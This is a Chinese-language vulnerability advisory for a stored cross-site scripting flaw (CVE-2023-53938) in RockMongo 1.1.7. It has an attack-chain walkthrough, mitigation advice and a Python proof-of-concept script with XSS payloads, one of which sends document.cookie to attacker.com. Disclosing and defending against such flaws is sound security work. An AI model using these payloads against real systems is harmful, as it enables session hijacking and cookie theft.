IPBUF安全漏洞报告
English
CVE-2023-53938 CVSS 5.4 中危

RockMongo 1.1.7 存储型跨站脚本漏洞 (CVE-2023-53938)

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2023-53938
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
RockMongo 1.1.7

相关标签

存储型XSSRockMongoCVE-2023-53938跨站脚本MongoDB管理工具Web安全漏洞

漏洞概述

RockMongo 1.1.7版本存在一处严重的存储型跨站脚本(Stored XSS)漏洞。该漏洞允许攻击者通过多个未进行编码处理的输入参数注入恶意脚本代码。当受害者访问受污染的页面时,攻击者注入的恶意JavaScript代码将在受害者浏览器中执行,从而实现会话劫持、窃取敏感信息、钓鱼攻击等恶意操作。漏洞主要影响数据库名、集合名以及登录参数等用户可控输入字段。由于RockMongo是一款流行的MongoDB图形化管理工具,广泛应用于开发和运维环境中,因此该漏洞可能影响大量使用该工具的企业和个人用户。攻击者利用该漏洞无需特殊权限即可实施攻击,但需要诱导受害者访问特定页面或执行某些操作,因此被归类为需要用户交互的漏洞类型。

技术细节

RockMongo 1.1.7在处理用户输入时,未对多个关键参数进行充分的输入验证和输出编码。攻击者可以在数据库名称、集合名称以及登录表单等输入字段中注入恶意JavaScript代码,如:<script>alert(document.cookie)</script>。由于这些输入未经安全处理即被存储并在后续页面中直接展示,当管理员或其他用户访问相关管理界面时,恶意代码将作为页面内容的一部分被浏览器解析执行。攻击者可利用此漏洞窃取受害者的会话Cookie、进行CSRF攻击、篡改页面内容或重定向用户至钓鱼站点。由于该应用通常以高权限运行,攻击成功可能导致整个MongoDB实例被攻击者完全控制。建议开发者对所有用户输入实施严格的输入验证,并使用HTML实体编码等方法对输出进行安全处理。

攻击链分析

STEP 1
信息收集
攻击者识别目标站点使用的RockMongo版本,确认版本为1.1.7存在XSS漏洞
STEP 2
构造Payload
攻击者构造恶意XSS Payload,如<script>alert(document.cookie)</script>,针对数据库名、集合名或登录参数等输入点
STEP 3
注入恶意代码
攻击者通过表单提交或API请求将恶意脚本注入到RockMongo的输入参数中,由于缺乏输入验证,代码被直接存储到数据库
STEP 4
等待受害者触发
当管理员或普通用户访问受污染的数据库页面、集合列表或登录历史时,恶意代码作为页面内容被浏览器加载
STEP 5
执行恶意操作
受害者浏览器执行注入的JavaScript代码,攻击者可窃取Cookie、会话令牌,或执行进一步的攻击如CSRF

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53938 PoC - RockMongo 1.1.7 Stored XSS # Target: RockMongo 1.1.7 # Vulnerability: Stored XSS via multiple unencoded input parameters TARGET_URL = "http://target:port/rockmongo/index.php" USERNAME = "admin" PASSWORD = "admin" # XSS Payloads for different parameters PAYLOADS = { "database_name": "<script>alert(document.cookie)</script>", "collection_name": "<img src=x onerror=alert('XSS')>", "login_username": "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>" } def exploit_stored_xss(): """ This PoC demonstrates how to inject malicious scripts through RockMongo parameters. The injected scripts will be stored and executed when other users view the affected pages. """ session = requests.Session() # Step 1: Login to RockMongo login_data = { "username": USERNAME, "password": PASSWORD, "login": 1 } # Inject XSS payload in login username field login_data["username"] = PAYLOADS["login_username"] try: response = session.post(TARGET_URL, data=login_data) print(f"[*] Payload sent via login parameter") print(f"[*] Payload: {PAYLOADS['login_username']}") print(f"[*] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") sys.exit(1) if __name__ == "__main__": print("=" * 60) print("CVE-2023-53938 PoC - RockMongo Stored XSS") print("=" * 60) exploit_stored_xss()

影响范围

RockMongo 1.1.7

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 在前端增加输入过滤逻辑,对特殊字符进行转义处理;2) 部署WAF规则拦截包含XSS特征的请求;3) 限制低权限用户创建数据库和集合的权限;4) 提醒用户不要点击来源不明的链接;5) 定期检查日志中的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表